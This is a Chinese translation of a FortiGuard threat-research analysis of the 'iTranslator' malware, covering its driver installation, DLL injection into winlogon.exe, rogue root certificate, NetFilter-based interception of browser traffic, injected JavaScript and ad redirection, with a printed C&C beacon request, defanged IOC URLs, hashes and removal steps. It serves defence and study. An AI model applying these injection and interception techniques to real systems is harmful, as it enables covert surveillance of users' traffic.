压在透明的玻璃上c-国产精品国产一级A片精品免费-国产精品视频网-成人黄网站18秘 免费看|www.tcsft.com

深入分析基于驅動的MITM惡意軟件:iTranslator

一、前言

FortiGuard實驗室研究團隊最近捕獲到一個惡意軟件樣本,這個EXE文件帶有一個無效的證書簽名。一旦受害者打開exe文件,惡意軟件就會安裝兩個驅動,控制受害者的Windows系統,同時監控受害者使用瀏覽器的互聯網活動規律。

在本文中,我將詳細分析惡意軟件如何在受害者系統上安裝驅動、驅動的工作方式以及惡意軟件的具體功能。

二、執行惡意軟件樣本

本次捕獲的樣本文件名為itranslator_02.exe。在實際攻擊活動中,惡意軟件使用了多個不同的名稱,包括itransppa.exe、itranslator20041_se.exe、Setup.exe以及itransVes.exe。樣本文件經過證書簽名,證書的過期時間為2015年5月16日。該證書由VeriSign Class 3 Code Signing 2010 CA頒發給Beijing ******** Technology Ltd(這里我隱去了公司的名稱),序列號為0A 00 5D 2E 2B CD 41 37 16 82 17 D8 C7 27 74 7C。樣本的數字證書信息如圖1所示:

圖1. 惡意軟件使用了已過期的證書

itranslator_02.exe運行時,會在program-data目錄(在我的測試環境中,該目錄為C:\ProgramData)中創建名為itranslator的一個新目錄,然后將名為wintrans.exe的一個新文件釋放到該目錄中。使用參數P002啟動wintrans.exe后,itranslator_02.exe的任務就此完成。這里使用的命令行字符串為:C:\ProgramData\itranslator\wintrans.exe P002,惡意軟件將P002作為GUID來使用,并在惡意攻擊活動中利用該值與C&C服務器通信。

三、安裝驅動組件

順利接管itranslator_02.exe的工作后,wintrans.exe會下載其他惡意組件并安裝到受害者的Windows系統中,然后在受害者系統上安裝驅動,我們來看驅動安裝過程。

圖2. 創建驅動服務“iTranslatorSvc”

惡意軟件創建了一個線程來執行該操作:首先調用兩個Windows系統API來創建驅動服務,相關API為OpenSCManagerA以及CreateServiceA。驅動名為iTranslatorSvc,該名稱為CreateServiceA API的一個參數。

利用這種方式,惡意軟件調用CreateServiceA API為新的驅動服務創建一個新的注冊表鍵值。該樣本創建的注冊表鍵值為:HKLM\SYSTEM\CurrentControlSet\services\iTranslatorSvc。

新創建驅動的啟動(Start)類型最開始時會被惡意軟件設置為2(對應的就是AUTO_START),隨后再被修改為1(對應的是SYSTEM_START)。這樣每當系統啟動時都會啟用該驅動。我們通過IDA Pro分析了驅動的創建過程,如圖2所示。

接下來,wintrans.exe會將名為iTranslator的一個文件釋放到Windows目錄中(在我的測試環境中該目錄為C:\Windows\),該文件已事先內嵌在wintrans.exe文件的BIN資源區中。釋放文件的偽代碼如圖3所示。

圖3. 從資源區中提取iTranslator文件

大家可能已經猜到,iTranslator也是一個Windows驅動文件,調用CreateServiceA時使用了該文件的完整路徑以便創建iTranslatorSvc。

iTranslator文件經過VMProtect加殼保護,該文件同樣帶有一個無效的證書簽名(證書已于2015年5月12日過期)。簽名方為Nanjing ********* Technology Co.,Ltd,序列號為73 dc b1 a0 35 15 bb 63 9b f3 1e cd 5f 98 ff 24iTranslator文件的屬性信息如圖4所示,我們也使用PE工具分析了加殼信息。

圖4. iTranslator屬性及加殼信息

隨后惡意軟件使用P002創建GUID值,并且使用受害者的硬件信息生成十六進制值來創建MachineCode鍵,這些值都保存在HKLM\SYSTEM\CurrentControlSet\services\iTranslatorSvc這個子鍵中。注冊表中的相關數據如圖5所示:

圖5. iTranslatorSvc注冊表信息

此后,惡意軟件繼續調用StartServiceA,立刻運行惡意驅動。為了向大家展示惡意驅動程序在受害者計算機上的運行過程,接下來我會以操作系統啟動為起點,從頭開始梳理整個過程,這也是加載驅動的正常方式。

四、下載其他組件

一旦安裝完畢,惡意軟件會在某個線程函數中嘗試下載一個DLL模塊。相應的HTTP請求及響應數據如圖6所示:

圖6. 下載DLL文件

在URI中,uid=為機器代碼,v=為惡意軟件當前版本(這里的版本為1.0.0),x=為受害者的Windows架構(32位或者64位)。在頭部數據中,UID: P002為惡意軟件的GUID。在響應報文中,惡意軟件會返回最新的版本信息以及下載鏈接。在本文樣本中,最新的版本為1.0.7版,下載鏈接為hxxp://gl.immereeako.info/files/upgrade/32/iTranslator.dll(然而在分析該惡意軟件的過程中,最新版本更新到了1.0.8版,下載鏈接也變為hxxp://dl.shalleeatt.info/ufiles/32x/iTranslator.dll)。

惡意軟件隨后會下載DLL文件,將其保存為同一個目錄(即C:\ProgramData\itranslator\)下的wintrans.exe。根據我的分析,下載的文件iTranslator.dll可能是這款惡意軟件的主模塊,其執行的部分任務列表如下:

1、提取并加載一個網絡過濾器驅動;

2、與其他驅動交換數據;

3、在未經受害者許可的情況下,將SSL證書以可信根證書形式安裝到瀏覽器中;

4、監控受害者瀏覽器的互聯網訪問數據包。

有趣的是,下載的文件并不僅僅是一個DLL文件,而是一個文件容器,其資源區中包含許多其他文件,這些文件隨后會釋放到受害者的本地目錄中。下載的iTranslator.dll可以在首次安裝時由wintrans.exe加載運行,也可以在Windows系統啟動時由winlogon.exe負責加載及運行,而后者由iTranslatorSvc驅動負責加載。我會在下文的驅動啟動部分詳細介紹這個過程。

惡意軟件同時也會在系統注冊表的HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion路徑中記錄最新的版本信息,其中iVersion代表最新版本號,本文成稿時該版本號為1.0.8。

五、通知攻擊者

wintrans.exe的最后一個任務是將受害者的系統信息發送到攻擊者的服務器,發送的報文格式如下所示:

GET /in.php?type=is&ch=P002&mc=07********************93&os=Windows7(6.1)&t=1435127837&m=08****0****E HTTP/1.1

UID: P002

MC: 078********************3

User-Agent: ITRANSLATOR

Host: tk.immereeako.info

URL中的ch=以及頭部中的UID為GUID P002;URL中的mc=以及頭部中的MC為受害者系統的機器碼;os=為受害者的操作系統版本;t=為當前Windows的安裝日期,該信息來自于系統注冊表中,惡意軟件使用了Unix格式時間,即從1970年1月1日以來的秒數;m為受害者的網絡MAC地址。

我將原始報文中的敏感信息以*號來代替,該報文用來通知攻擊者惡意軟件已在Windows系統上安裝完畢。

六、在Windows啟動過程中加載惡意驅動

Windows系統啟動過程中會加載iTranslatorSvc驅動,從現在開始我會詳細介紹惡意軟件的工作流程。

惡意驅動文件路徑為C:\Windows\iTranslator,經過VMProtect v2.0.7加殼保護,存在多個導出函數,如圖7所示。

圖7. iTranslatorSvc驅動的導出函數

該驅動由nt!IopLoadDriver負責加載。當VMProtect加殼器的代碼執行后,會還原出驅動的DriverEntry函數,我們可以進入該函數繼續分析。

驅動首先會從系統的注冊表中讀取GUID以及MachineCode,將這些信息保存在全局變量中,然后將Start值設置為1,即SYSTEM_START。接下來惡意軟件會為該驅動創建一個設備對象\\Device\\iTranslatorCtrl以及一個符號鏈接\\DosDevices\\iTranlatorCtrl,這樣運行在ring 3的惡意軟件就可以通過\\\\.\\iTranslatorCtrl訪問驅動。隨后惡意驅動會設置一些dispatch(分發)函數,就像其他驅動一樣。在IRP_MJ_DEVICE_CONTROL分發函數中,驅動只會返回來自于全局變量的GUID以及MachineCode值。

七、在系統線程中設置回調函數

最后,惡意驅動會調用nt!PsCreateSystemThread API創建一個系統線程,線程函數同樣經過VMProtect加殼器的保護。受VMProtect保護的系統線程函數代碼片段如圖8所示。惡意驅動中的所有API調用都通過這種方式經過加殼保護,如圖8所示:

圖8. 經過VMProtect加殼保護的代碼片段

系統線程啟動時首先會從內存中釋放文件,文件的完整路徑為C:\Windows\System32\iTranslator.dll,然后調用nt!PsSetLoadImageNotifyRoutine API來設置鏡像加載回調函數。MSDN對該API的描述為:“PsSetLoadImageNotifyRoutine例程用來注冊由驅動提供的一個回調函數,以便當鏡像加載(或映射到內存中)時獲得相關通知”。這意味著每當鏡像(或者EXE文件)開始加載時,鏡像就會被掛起,驅動中的回調函數就會被另一個API(即nt!PsCallImageNotifyRoutines)所調用。此時,iTranslatorSvc驅動就可以讀取鏡像的整個進程信息,通過修改進程信息來影響進程的執行流程。

讓我們回到驅動中的這個回調函數上,分析該函數的具體功能。當該函數被調用時,會檢查進程名是否為winlogon.exe,如果滿足該條件,則驅動就會找到該進程的映射內存,然后在內存中重建Import Directory Table(IDT表),將惡意DLL C:\Windows\System32\iTranslator.dll加到該表末尾處。IDT表中同樣包含該進程所需的某些模塊數據(比如Kernel32.dll、User32.dll)。IDT表中每個模塊的數據占用14H個字節。

重建的IDT表如圖9所示,惡意軟件需要修改導入表(Import Table)表項在PE數據目錄表(Data Directory Table)中的偏移來重建IDT表。隨后,一旦winlogon.exe恢復執行,就會像加載其他正常DLL那樣加載這個惡意的DLL。

圖9. 重建IDT表

為什么惡意軟件使用的是winlogon.exe?這是屬于Windows登錄管理器的一個進程,可以處理登錄及注銷過程。如果該進程被終止,則用戶會從系統中注銷。換句話說,除非Windows系統關閉,否則該進程將始終處于運行狀態。

惡意驅動還會繼續設置另一個鏡像加載回調函數。根據我的分析,該函數用來檢查鏡像是否為特定的瀏覽器,如iexplore.exefirefox.exe或者chrome.exe。如果匹配成功,驅動就會查找相關的進程信息塊,向其命令行中添加hxxp://go.microsoft.com/?69157參數。完成該操作后,當瀏覽器啟動時就會先訪問hxxp://go.microsoft.com/?69157這個網址。IE啟動時情況如圖10所示,其命令行末尾已附加了hxxp://go.microsoft.com/?69157這個URL。

圖10. IE使用hxxp://go.microsoft.com/?69157參數

實際上,受害者的瀏覽器并沒有真正訪問過該URL,該URL的作用更像是一個開關標志。隨后,惡意軟件會提取并加載另一個驅動來監控受害者的網絡活動,然后中斷請求,指向hxxp://go.microsoft.com/?69157,然后執行不同的任務。下文我們將分析這方面內容。

惡意驅動同樣會在系統線程函數中調用nt! CmRegisterCallback來設置注冊表回調函數,在驅動級別過濾注冊表調用。根據我的分析,這個回調函數對微軟Edge瀏覽器比較關注。

iTranslatorSvc驅動同樣會保護系統注冊表中相關路徑(即HKLM\SYSTEM\CurrentControlSet\services\iTranslatorSvc)的訪問權限。當我們使用注冊表編輯器訪問該路徑時,會看到一個錯誤提示消息,如圖11所示。

圖11. 受驅動保護的iTranslatorSvc注冊表項

 

八、當winlogon.exe恢復運行

前面我提到過,當winlogon.exe恢復運行時,會加載C:\Windows\System32\iTranslator.dll,該文件來自于iTranslatorSvc驅動,整個過程如前文所述。System32目錄下的iTranslator.dll同樣經過VMProtect v.2.07加殼保護。

根據我的分析,該程序的主要目的是加載C:\ProgramData\itranslator目錄中的itranslator.dll模塊(該文件由前文提到過的wintrans.exe下載)。隨后,如果C&C服務器上存在更新版本的itranslator.dll,則惡意軟件會嘗試更新,這與wintrans.exe的功能類似。到目前為止,該DLL文件的最新版本為1.0.8。

惡意軟件的文件名可能會讓大家有點困惑,這里存在兩個相似的文件名。一個來自于iTranslatorSvc驅動,路徑為C:\Windows\System32\iTranslator.dll,另一個從C&C服務器下載,路徑為C:\ProgramData\itranslator\itranslator.dll。在下文中,為了區分這兩個文件,我將C:\Windows\System32\iTranslator.dll標記為extracted-iTranslator.dll,將C:\ProgramData\itranslator\itranslator.dll標記為downloaded-itranslator.dll。

downloaded-itranslator.dll為該惡意軟件的主模塊,可以由wintrans.exe以及winlogon.exe加載執行。在winlogon.exe進程中,downloaded-itranslator.dll會被手動加載到0x10000000這個內存位置。根據該文件PE結構中的數據定義,該進程會矯正數據以便正常執行。最后,進程會調用downloaded-itranslator.dll的入口函數。至此extracted-iTranslator.dll的任務已圓滿完成。

九、啟動downloaded-itranslator.dll

惡意軟件首先通過iTranslatorSvc驅動獲取GUID以及MachineCode的值,并將其保存到全局變量中。在下一步中,惡意軟件會創建一個線程,從C&C服務器獲取C&C服務器URL的更新列表。通過這種方法,這款惡意軟件可以使用多個不同的C&C服務器啦執行不同的任務。hxxp://ask.excedese.xyz/這個服務器保存了兩個C&C服務器URL,對應的報文內容如圖12所示。

圖12. 更新C&C服務器URL

響應報文中包含JSON格式的兩個新的URL,分別為immereeako.info以及search.bulletiz.info,這些地址會保存到兩個全局變量中,以便后續使用。

前面我提到過,downloaded-itranslator.dll文件其實是一個容器,其資源區中包含許多文件,這些文件會被釋放到本地不同的目錄中,這些文件如下表所示:

此外,惡意軟件也會從內存中釋放出C:\Windows\SSL\Sample CA 2.cer這個文件。

十、中間人攻擊

根據我的分析,釋放出來的所有文件都用于在受害者系統上執行中間人攻擊。

iNetfilterSvc文件是另一個驅動程序,其名稱為NetfilterSvc,其實是NetFilter SDK這個商業項目的一個實例。該驅動是一個框架。用來透明過濾Windows系統中通過網絡傳輸的數據包。釋放出來的Sample CA 2.cer是一個根證書,會以可信根證書頒發機構形式安裝到Firefox以及Windows系統中(針對IE和Chrome)。這對隱蔽執行中間人攻擊是非常有必要的一個操作。通過這種方法,受害者瀏覽器中用于SSL保護通信的所有證書其實都由Sample CA 2.cer簽發,由于Sample CA 2.cer已經位于可信根證書頒發機構列表中,因此瀏覽器不會向用戶告警。

攻擊者會使用C:\Windows\nss中的所有文件來控制Firefox瀏覽器。C:\Windows\nss\certutil.exe文件用來將Sample CA 2.cer安裝到Firefox中。使用調試器來分析certutil.exe時如圖13所示。

圖13. certutil.exe安裝Sample CA 2.cer

在圖14中,我們可以看到Sample CA 2.cer已安裝到Mozilla Firefox以及Microsoft IE的可信根證書頒發機構列表中。

圖14. Sample CA 2.cer安裝到Mozilla Firefox以及Microsoft IE中

downloaded-itranslator.dll模塊的主要功能是釋放iNetfilterSvc模塊,運行該模塊(順便提一句,C:\Windows\iNetfilterSvc在加載后會被立刻刪除),安裝Sample CA 2.cer,然后與iTranslatorSvcNetfilterSvc這兩個驅動通信。通過這種方法,惡意軟件可以監控受害者在所有主流瀏覽器上的活動。

惡意軟件繼續創建NetfilterSvc驅動的一個驅動句柄(\\.\CtrlSMNetfilterSvc),以便與該驅動交換數據,然后將相關協議注冊到NetfilterSvc,這樣當捕獲相關協議的數據時,驅動就可以調用回調函數。大家可以訪問Netfilter SDK的官方網站,了解詳細信息。從圖15中,我們可以看到惡意軟件注冊HTTP協議(80端口)以及HTTPS協議(443端口)的代碼片段。

圖15. 注冊待過濾的協議到NetfilterSvc

圖16. 協議回調函數代碼片段

大家是否還記得,當受害者啟動IE時,iTranslatorSvc中的鏡像加載回調函數就會被調用,隨后就會將hxxp://go.microsoft.com/?69157附加到IE的命令行參數中。IE發送HTTP請求報文,該報文會被NetfilterSvc驅動捕獲。與此同時,downloaded-itranslator.dll中的協議回調函數就會被調用。一個回調函數的代碼片段如圖16所示,惡意軟件會檢查所請求的URL是否為hxxp://go.microsoft.com/?69157,如果滿足該條件,則發送一個通知報文到C&C服務器,然后受害者已打開瀏覽器。

使用Fiddler捕捉到的通知報文如圖17所示。請求的URL中包含P002以及MachineCode。C&C服務器返回的數據中包含Location: hxxps://www.google.com信息,該信息最終會發送回IE,而IE會向受害者顯示Google網站。因此,受害者系統其實不會真正去訪問hxxp://go.microsoft.com/?69157這個URL。

圖17. 通知C&C服務器瀏覽器已打開

對于瀏覽器中的其他請求(包括HTTP以及HTTPS數據),惡意軟件可以通過中間人攻擊方法修改數據包的內容。惡意軟件會在每個響應數據包的末尾插入一小段JavaScript代碼。這段JavaScript代碼在早期流程中生成,包含C&C服務器URL以及MachineCode。當瀏覽器收到響應數據時,就會執行已插入的JavaScript代碼,執行更多惡意操作。到目前為止,這段JavaScript代碼只會從C&C服務器上下載其他JS文件。被修改過的hxxps://www.google.com頁面源碼如圖18所示,尾部包含已插入的JavaScript代碼。

圖18. 插入google.com響應報文的JavaScript代碼

大家可能會注意到,當JavaScript代碼運行時,會從hxxps://cdn.immereeako.info/pa.min.js處下載一個腳本并在受害者的瀏覽器中運行。

不幸的是,我的測試主機并沒有安裝微軟的Edge瀏覽器,但我認為惡意軟件的攻擊方法同樣適用于Edge瀏覽器。

十一、JavaScript代碼分析

當受害者瀏覽器加載hxxps://cdn.immereeako.info/pa.min.js時,就會往C&C服務器發送一個HTTP請求,如下圖所示:

請求報文中包含MachineCode以及從受害者瀏覽器中收集到的一些數據(比如受害者正在訪問的當前URL地址,本次測試中該地址為hxxps://www.facebook.com)。

URL中的pacb_jlcmurby4cp95是一個帶有隨機名的回調函數,該函數由pa.min.js負責生成。C&C服務器端會在響應報文中用到該名稱。某個響應報文如下圖所示:

body中的紅色高亮部分為JavaScript代碼,其中使用了對象參數來調用pacb_jlcmurby4cp95函數。在回調函數中,腳本會處理該參數,在當前頁面上添加鼠標單擊事件(例如:hxxp://www.facebook.com)。當鼠標單擊事件在受害者當前訪問的頁面中觸發時,腳本會創建一個新的標簽頁,然后訪問響應數據包中的URL(這里的URL為hxxp://www.onclickbright.com/jump/next.php?r=20*****&sub1=pa,我用*號隱去了一些信息)。根據我的研究,訪問該URL會讓受害者看到一個廣告頁面。受害者在Microsoft IE及Google Chrome瀏覽器中看到的廣告頁面如圖19所示。

圖19. 推送給受害者的多個廣告頁面

 

十二、感染流程

為了更好地理解這款惡意軟件的整體感染流程,我梳理了一個簡單的流程圖,如圖20所示。

圖20. 簡要版感染流程圖

 

十三、解決方案

FortiGuard反病毒服務已經公布了檢測該樣本的特征:W32/Itranslator.FE45!tr,此外,FortiGuard Webfilter服務已經將相關URL標識為“惡意網站”。

如果想刪除這款惡意軟件,可以重啟主機并進入按全模式,然后執行如下操作:

1、刪除%WINDIR%\iTranslator文件;

2、刪除%WINDIR%\nss以及%WINDIR%\SSL目錄;

3、刪除%WINDIR%\system32\iTranslator.dll文件;

4、刪除%ProgramData%\itranslator目錄;

5、刪除HKLM\SYSTEM\CurrentControlSet\services\iTranslatorSvc注冊表鍵值;

6、刪除HKLM\SYSTEM\CurrentControlSet\services\NetfilterSvc注冊表鍵值;

7、刪除所有瀏覽器中的Sample CA 2證書。

十四、IOC

URL

hxxp://s3.amazonaws.com/dl.itranslator.info/
hxxps://cdn.immereeako.info/pa.min.js
hxxp://tk.immereeako.info/in.php
hxxp://ask.excedese.xyz/i.php
hxxp://gl.immereeako.info/files/upgrade/32/iTranslator.dll
hxxp://dl.shalleeatt.info/ufiles/32x/iTranslator.dll

樣本SHA-256哈希

itranslator_02.exe
B73D436D7741F50D29764367CBECC4EE67412230FF0D66B7D1D0E4D26983824D

wintrans.exe
67B45AE63C4E995D3B26FE7E61554AD1A1537EEEE09AAB9409D5894C74C87D03

iTranslator(驅動)
E2BD952812DB5A6BBC330CC5C9438FC57637760066B9012FC06A8E591A1667F3

downloaded-itranslator.dll(1.0.7版)
C4EDE5E84043AB1432319D74D7A0713225D276600220D0ED5AAEB0B4B7CE36CD

downloaded-itranslator.dll(1.0.8版)
873825400FFF2B398ABF397F5A913A45FBD181654F20FBBE7665C239B7A2E8F5

十五、參考資料

NetFilter SDK:http://netfiltersdk.com/index.html

中間人攻擊:https://en.wikipedia.org/wiki/Man-in-the-middle_attack

原文地址:https://www.fortinet.com/blog/threat-research/deep-analysis-of-driver-based-mitm-malware-itranslator.html

上一篇:2018 Gdevops全球敏捷運維峰會北京站圓滿落幕

下一篇:SOC大改造